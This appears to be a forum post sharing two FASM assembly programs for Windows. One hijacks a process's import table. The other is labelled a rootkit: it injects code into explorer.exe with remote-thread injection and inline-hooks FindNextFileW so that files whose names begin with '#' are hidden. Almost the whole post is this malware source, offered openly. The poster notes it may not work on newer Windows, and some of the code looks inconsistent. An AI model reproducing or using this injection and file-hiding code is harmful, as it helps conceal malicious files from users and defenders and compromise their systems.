Код:
; syntaxis: FASM.
include 'win32ax.inc'
.code
proc start
locals
ProcessName db "test.exe",0
endl
stdcall Inyectar,addr ProcessName,FinFuncionHook-FuncionHook,FuncionHook,0,0
cmp eax,-1
je Salir
;ebx=hProcess
;eax=DirFun
mov esi,eax
add eax,FinFuncionHook-FuncionHook
sub eax,4
invoke WriteProcessMemory,ebx,eax,GetProcAddress,4,0
stdcall Inyectar,addr ProcessName,FinParchearIAT-ParchearIAT,ParchearIAT,esi,1
cmp eax,-1
je Salir
invoke ExitProcess,0
Salir:
invoke MessageBoxA,0,"No se encontrу el proceso!",0,0
invoke ExitProcess,0
endp
proc Inyectar,ProcessName,Tamaсo,Funcion,Datos,bCrearHilo
locals
struct PROCESSENTRY32
dwSize dd ?
cntUsage dd ?
th32ProcessID dd ?
th32DefaultHeapID dd ?
th32ModuleID dd ?
cntThreads dd ?
th32ParentProcessID dd ?
pcPriClassBase dd ?
dwFlags dd ?
szExeFile rb MAX_PATH
ends
pInfo PROCESSENTRY32 ?
Handle dd ?
PID dd ?
DirFuncion dd ?
hProcess dd ?
endl
pushad
invoke CreateToolhelp32Snapshot,0x00000002,0
mov [Handle],eax
mov eax,sizeof.PROCESSENTRY32
mov [pInfo.dwSize], eax
BuclePid:
invoke Process32Next,[Handle],addr pInfo
cmp eax,0
je FinProcBuclePID;No hay mбs procesos
invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
cmp eax,0
jne BuclePid
jmp FinBuclePid
FinProcBuclePID:
invoke CloseHandle,[Handle]
popad
mov eax,-1
ret
FinBuclePid:
invoke CloseHandle,[Handle]
push [pInfo.th32ProcessID]
pop [PID]
invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
mov [hProcess],eax
invoke VirtualAllocEx,[hProcess],0,[Tamaсo],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [DirFuncion],eax
invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaсo],0
cmp [bCrearHilo],0
je retornar
invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
retornar:
popad
mov eax,[DirFuncion]
mov ebx,[hProcess]
ret
endp
proc ParchearIAT,DirFuncion
locals
BaseKernel32 dd ?
BaseExe dd ?
IT dd ?
Contador dd 0
OriginalProtection dd ?
Lib1 dd "KERN"
Lib2 dd "kern"
ET dd ?
pGetProcAddress dd ?
endl
mov eax,[fs:0x30]
mov eax,[eax+0x0C]
mov eax,[eax+0x1C]
mov eax,[eax]
mov eax,[eax+0x08]
mov [BaseKernel32],eax
mov eax,dword[eax+0x3C]
add eax,[BaseKernel32]
;Export Table
mov eax,dword[eax+0x78]
add eax,[BaseKernel32]
mov [ET],eax
;AddressOfNames
mov eax,dword[eax+0x20]
add eax,[BaseKernel32]
mov edi,eax
xor ecx,ecx
BucleApiE:
mov ebx,dword[edi]
add ebx,[BaseKernel32]
cmp dword[ebx],"GetP"
jne siguiente
cmp dword[ebx+4],"rocA"
je Encontrado
siguiente:
add edi,4
inc ecx
jmp BucleApiE
Encontrado:;ecx=num, api=GetProcAddress
mov eax,[ET]
mov ebx,dword[eax+0x24]
add ebx,[BaseKernel32]
rol ecx,1; ecx*2
add ebx,ecx
xor ecx,ecx
movzx ecx,word[ebx]
rol ecx,2
mov eax,[ET]
mov eax,dword[eax+0x1C]
add eax,[BaseKernel32]
add eax,ecx
mov eax,dword[eax]
add eax,[BaseKernel32]
mov [pGetProcAddress],eax
mov eax,[fs:0x30]
mov eax,[eax+0x08]
mov [BaseExe],eax
mov eax,dword[eax+0x3C]
add eax,[BaseExe]
mov eax,dword[eax+0x80]
add eax,[BaseExe]
mov [IT],eax
BucleLib:
mov eax,[IT]
add eax,12 ;
add eax,[Contador]
mov eax,dword[eax]
add eax,[BaseExe]
mov ebx,eax
mov eax,[Lib1]
cmp dword[ebx],eax
je EncontradaKernel32
mov eax,[Lib2]
cmp dword[ebx],eax
je EncontradaKernel32
add [Contador],20
jmp BucleLib
EncontradaKernel32:
mov eax,[IT]
add eax,[Contador]
add eax,16;FirstThunk
mov ebx,dword [eax]
add ebx,[BaseExe]
BucleApi:
stdcall [pGetProcAddress],[BaseKernel32],"FindNextFileA"
cmp dword[ebx],eax
je CambiarPuntero
add ebx,4
jmp BucleApi
CambiarPuntero:
stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
stdcall eax,ebx,4,PAGE_EXECUTE_READWRITE,addr OriginalProtection
mov eax,[DirFuncion]
mov dword[ebx],eax
ret
endp
FinParchearIAT:
Volver:
call delta2
delta2:
pop edx
sub edx,delta2
mov ecx,edx
add ecx,pGetProcAddress
mov ecx,dword[ecx]
mov eax,[fs:0x30]
mov eax,[eax+0x0C]
mov eax,[eax+0x1C]
mov eax,[eax]
mov eax,[eax+0x08]
mov ebx,edx
add ebx,NombreApi
push ebx
push eax
call ecx
mov ecx,eax
push [lpFindFileData]
push [hFindFile]
call ecx
cmp eax,0
je Retornar
mov ebx,[lpFindFileData]
add ebx,44
cmp byte[ebx],'#'
jne Retornar
jmp Volver
Retornar:
ret
endp
NombreApi db "FindNextFileA",0
pGetProcAddress dd ?
FinFuncionHook:
.end start
The code don't work with 'explorer.exe' because he don't call imported FindNextFilwW/A directly, but code could be usefull.Добавлено в [time]1313501413[/time]
Код:
; syntaxis: FASM.
;-------------------------------------------------------------------------------------------------
; RootKit por [Zero] & SecMAM
; This code SPOILERs all files whose name begins with a '#' character
;-------------------------------------------------------------------------------------------------
include 'win32ax.inc'
.code
proc start
locals
ProcessName db "explorer.exe",0
endl
stdcall Inyectar,addr ProcessName,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
cmp eax,-1
jne salir
invoke MessageBoxA,0,"No se encontrу el proceso!",0,0
salir:
invoke ExitProcess,0
endp
proc Inyectar,ProcessName,Tamaсo,Funcion,Datos
locals
struct PROCESSENTRY32
dwSize dd ?
cntUsage dd ?
th32ProcessID dd ?
th32DefaultHeapID dd ?
th32ModuleID dd ?
cntThreads dd ?
th32ParentProcessID dd ?
pcPriClassBase dd ?
dwFlags dd ?
szExeFile rb MAX_PATH
ends
pInfo PROCESSENTRY32 ?
Handle dd ?
PID dd ?
DirFuncion dd ?
hProcess dd ?
endl
pushad
invoke CreateToolhelp32Snapshot,0x00000002,0
mov [Handle],eax
mov eax,sizeof.PROCESSENTRY32
mov [pInfo.dwSize], eax
BuclePid:
invoke Process32Next,[Handle],addr pInfo
cmp eax,0
je FinProcBuclePID;No hay mбs procesos
invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
cmp eax,0
jne BuclePid
jmp FinBuclePid
FinProcBuclePID:
invoke CloseHandle,[Handle]
popad
mov eax,-1
ret
FinBuclePid:
invoke CloseHandle,[Handle]
push [pInfo.th32ProcessID]
pop [PID]
invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
mov [hProcess],eax
invoke VirtualAllocEx,[hProcess],0,[Tamaсo],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [DirFuncion],eax
invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaсo],0
invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
popad
mov eax,1
ret
endp
proc FuncionInyectada,pGetProcAddress
locals
BaseKernel32 dd ?
OriginalProtection dd ?
endl
xor eax, eax
add eax,[fs:eax+30h]
mov eax, [eax + 0ch]
mov esi, [eax + 1ch]
lodsd
mov eax, [eax + 08h]
mov [BaseKernel32],eax
stdcall [pGetProcAddress],[BaseKernel32],'FindNextFileW'
mov ebx,eax
stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
stdcall eax,ebx,7,PAGE_EXECUTE_READWRITE,addr OriginalProtection
call delta
delta:
pop edx
sub edx,delta;edx=delta
push edx
add edx,dirFindNextFileW
mov dword[edx],ebx
pop edx
mov ecx,edx
add ecx,ApiOriginal
mov al,byte[ebx]
mov byte[ecx],al
mov byte[ebx],0xE9 ;0xE9=jmp
inc ebx
inc ecx
mov eax,dword[ebx]
mov dword[ecx],eax
mov eax,FuncionHook
add eax,edx
sub eax,ebx
sub eax,4
mov dword[ebx],eax
add ebx,4
add ecx,4
mov ax,word[ebx]
mov word[ecx],ax
mov word[ebx],0x9090
ret
;--------------------------------------------------------------------------------------------------------------------------------------------
ApiOriginal:
;edx=delta
nop
nop
nop
nop
nop
nop
nop
add edx,dirFindNextFileW
mov eax,dword[edx]
add eax,7
jmp eax
;--------------------------------------------------------------------------------------------------------------------------------------------
proc FuncionHook,hFindFile,lpFindFileData
Volver:
;Obtenemos el delta offset
call delta2
delta2:
pop edx
sub edx,delta2
;Llamamos a nuestro buffer
push [lpFindFileData]
push [hFindFile]
mov ecx,edx
add ecx,ApiOriginal
call ecx
cmp eax,0
je Retornar
mov ebx,[lpFindFileData]
add ebx,44
cmp byte[ebx],'#'
jne Retornar
jmp Volver
Retornar:
ret
endp
;-------------------------------------------------------------------------------------------------------------------------------------------
dirFindNextFileW dd ?
endp
FINFuncion:
.end start
I think that code is not working in Win7, but is a pretty old code and I have no desire to fix it. If someone want to fix it, the PEB code could be the first thing to fix.